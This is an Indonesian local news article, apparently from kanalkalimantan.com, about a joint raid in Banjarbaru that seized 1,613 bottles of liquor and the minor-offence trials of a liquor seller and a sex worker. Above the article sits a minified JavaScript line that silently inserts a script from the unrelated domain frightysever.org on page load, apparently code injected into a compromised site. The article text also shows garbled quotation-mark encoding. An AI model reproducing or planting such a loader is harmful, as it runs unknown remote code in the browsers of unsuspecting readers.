(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Siapa pemilik ribuan botol miras hasil operasi gabungan Satpol PP Banjarbaru, TNI dan Polisi belum juga berhasil dketahui. Ya, pada operasi gabungan Sabtu (1/9) malam itu, razia tim gabungan berhasil menyita 1.613 botol miras yang disembunyikan di dalam rumah warga di Jalan Kenanga RT 09 RW 08 Landasan Ulin Timur.
Hanya, NS -mengaku bukan pemilik hanya pesuruh- yang saat itu diboyong bersama ribuan miras yang dijualnya, Selasa (4/9) siang, menjalani sidang di Pengadilan Negeri Banjarbaru.
Dalam sidang tersebut, JPU (Jaksu Penuntut Umum) Akhmad Rifani mengatakan, NS bersalah karena telah melanggar Perda nomor 5 tentang larangan minuman beralkohol. PN Banjarbaru dalam sidang tipiring itu menjatuhkan pidana denda sebesar Rp 2,5 juta, apabila denda tidak dibayar akan diganti dengan kurungan 1 bulan.
“Seluruh barang bukti disita pengadilan dan nantinya akan dimusnahkan,†ujar Akhmad Rifani.
Terungkap fakta di persidangan, NS mengaku dirinya hanya menjad pelayan jual beli miras yang diakuinya bukan miliknya. NS dihadapan Majelis Hakim mengakui, rumah dan kepemilikan ribuan botol miras tersebut milik Paiti. Hingga saat ini pemilik miras tersebut masih dalam pencarian.
PPNS Satpol PP Kota Banjarbaru Yanto Hidayat menjelaskan, Satpol PP akan terus mencari pemilik dan penjual miras yang disinyalir milik Paiti masih bersembunyi.
“Tentunya kita akan terus melakukan giat di beberapa tempat yang dicurigai masih menjual miras. Kasus ini masih akan berlanjut setelah kita temukan pemilik yang dimaksud,†ujar Yanto Hidayat.
Selain NS, nasib malang juga menimpa TA (40) yang tertangkan saat operasi gabungan pada malam itu. Warga Jawa Timur ini merantau ke Kalimantan Selatan demi mencari sang suami dan rupanya berujung pada bekerjanya sebagai PSK di eks lokalisasi Pembatuan.
Dengan tertunduk lesu TA yang saat di pengadilan duduk bersama NS (pelayan penjual miras) menjalani sidang dan menjawab beberapa pertanyaan.
“Saya orang baru pak, ke sini karena mau cari suami saya,†ujar TA saat ditanya hakim.
Karena melanggar Perda nomor 6 tahun 2002, hakim menjatuhan hukuman pidana kurungan 2 bulan dengan masa percobaan 6 bulan. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More
This website uses cookies.